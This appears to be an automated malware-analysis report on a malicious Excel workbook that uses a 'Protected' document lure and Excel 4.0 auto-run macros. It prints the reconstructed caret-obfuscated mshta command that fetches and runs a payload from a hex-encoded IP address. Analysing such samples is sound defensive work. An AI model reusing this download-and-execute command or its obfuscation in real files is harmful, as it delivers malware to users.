Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 2e073b0a6cdff740…

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: c2c4de85ee886fbc2a677f392d3c44bb SHA-1: de79f091a6696269b1678762cf42088cacc3f2f8 SHA-256: 2e073b0a6cdff74003aa7791807d3c23b10286a983192a6dc6a4dbe62b68a079
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1105 Ingress Tool Transfer T1566.001 Phishing: Spearphishing Attachment T1204.001 User Execution: Malicious Link

The sample uses a 'Protected' document lure to trick the user into enabling macros. The embedded Excel 4.0 (XLM) macros execute a shell command to download a payload from 'http://0xc12a24f5/c.html' and 'http://0xc12a24f5/cc.html' via the reconstructed command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' (where the carets are used as escape characters for the cmd.exe shell).

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes